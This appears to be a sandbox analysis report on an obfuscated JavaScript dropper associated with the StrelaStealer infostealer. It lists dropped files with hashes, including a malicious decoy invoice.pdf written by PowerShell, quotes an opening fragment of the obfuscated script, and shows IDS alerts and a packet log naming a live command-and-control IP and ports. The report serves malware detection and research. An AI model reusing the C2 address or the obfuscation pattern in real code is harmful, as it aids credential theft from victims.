C:\Users\user\AppData\Local\Temp\acrocef_low\2f026cf3-9ead-4a97-9030-edd8eb47bf6a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7ec1277e-9bdb-4b34-9637-e285114cf7b1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a67a65e2-c55d-424a-9fd3-b930db0b0a7d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c5ef9849-c1e6-4d63-b4b4-c29779500e8d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfAdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVwWLkwZGuGZQ3mlind9i4ufFXpAXkrj
MD5:	2D4DA5B678BE6C3AF996983E376D6500
SHA1:	DBD00242EF5E9D1C4B27F5ED04A31E15DEE01FE5
SHA-256:	D28E9D0E9E9B8CC0085DA0A6252D1B11434834486624E3B960D15A2A68518186
SHA-512:	645B0C0872448E3B64807AABC287C11D97C1B63FA4FDAB7664793961A192B928C0650C7E62C452F007963446C209BD8172A242791740DFF85C03C95A4661F016
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16125), with CRLF line terminators
Entropy (8bit):	4.918858135382357
TrID:
File name:	944924352317221058.js
File size:	19'500 bytes
MD5:	d13d2053aa0a80422bd66a80aedf18fb
SHA1:	17e2e77378e260b77be2114ad5739cea51dba27e
SHA256:	04b71a06993eae095451c6ea43d48d64196350e68e3d099026f3407acb5628f6
SHA512:	3ac132d7ddfa4f4dfad9e24c8172298b8ef5fdc2b37c1283dc1257a65c3028f1564a0fcff90be0ada1d92362cc22411a5ec3a8ef7422b0c34671e8efa93fd135
SSDEEP:	384:nxW0VPBvW45Qp6PSubw6XHAxs/sCMPUYZHZq7PS/wNbwJbUNxUOG6zztPGvDJgwp:rhBlnVH2UYZHZq7P3bwJbUNxUOG6zzt4
TLSH:	709264C658434877AAF802F48A4340DFBB60A3ED8EA076D1506BF0B95B45B7274F52BD
File Content Preview:	function fcfcxovb(){kydul=[1031,3079,5127,4103,2055,3072];var kxqsqi=this[omeyzfue+ceujq+gcstlhq+ospxi+jryjf+newkxrs+zhqso+ohrbs](this[ixxcxfxc+fsnvnc+ovmiixkau+gcstlhq+qwxqj+omeyzfue+ohrbs][lqkej+gcstlhq+jryjf+ceujq+ohrbs+jryjf+osvqg+vsalupq+urkat+jryjf+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:45:02.961135+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49747	193.143.1.205	80	TCP
2025-01-11T08:45:02.961135+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49747	193.143.1.205	80	TCP
2025-01-11T08:45:05.534334+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49763	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:45:02.172492027 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:02.177541971 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.177647114 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:02.180425882 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:02.185272932 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961019993 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961050987 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961064100 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961070061 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961076975 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961082935 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961096048 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961107969 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961119890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961133003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:02.961134911 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:02.961182117 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:02.965953112 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.007287979 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.007368088 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.007466078 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.085277081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.085294008 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.085309982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.085411072 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.085455894 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.085472107 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.085489035 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.085499048 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.085531950 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.085711002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.085834026 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.085844994 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.085885048 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.086132050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.086179018 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.086220026 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.086232901 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.086253881 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.086272001 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.086272955 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.086653948 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.087102890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.087115049 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.087129116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.087145090 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.087147951 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.087161064 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.087186098 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.088040113 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.088052034 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.088064909 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.088077068 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.088082075 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.088105917 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.128108978 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.138828039 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.190742970 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.192852020 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.192864895 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.192953110 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.192960978 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.192965031 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.193013906 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.209686995 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.209716082 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.209728003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.209745884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.209760904 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.209772110 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.209791899 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.209800959 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.209815979 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.209841967 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.209970951 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210005999 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.210088968 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210102081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210148096 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.210282087 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210304022 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210315943 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210347891 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.210356951 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210406065 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.210776091 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210788965 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210800886 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210830927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.210856915 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210869074 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210880995 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.210907936 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.210925102 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.211508989 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.211522102 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.211534023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.211564064 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.211687088 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.211699963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.211718082 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.211730957 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.211766005 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.211783886 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.212390900 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.212404013 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.212418079 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.212451935 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.212466955 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.212510109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.212522030 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.212533951 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.212548018 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.212569952 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.212605953 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.213249922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.213260889 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.213272095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.213304996 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.213320971 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.213334084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.213350058 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.213361979 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.213372946 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.213402987 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.214071035 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.214134932 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.225780964 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.225799084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.225868940 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.279988050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.280128002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.280297995 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.317254066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.317322016 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.317358017 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.317377090 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.317401886 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.317435980 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.317485094 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.333851099 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.333892107 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.333925009 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.333930016 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.333981991 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.333986044 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334041119 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334070921 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334091902 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.334105968 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334140062 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334175110 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334187984 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.334233046 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.334247112 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334321022 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334372044 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334413052 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334418058 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.334449053 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334464073 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.334482908 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334536076 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.334712982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334748030 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334800005 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334832907 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334846973 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.334867954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334877968 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.334902048 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334938049 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.334983110 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.335112095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335167885 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.335180998 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335264921 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335398912 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 08:45:03.335432053 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 08:45:03.335484028 CET	80	49747	193.143.1.205	192.168.2.9
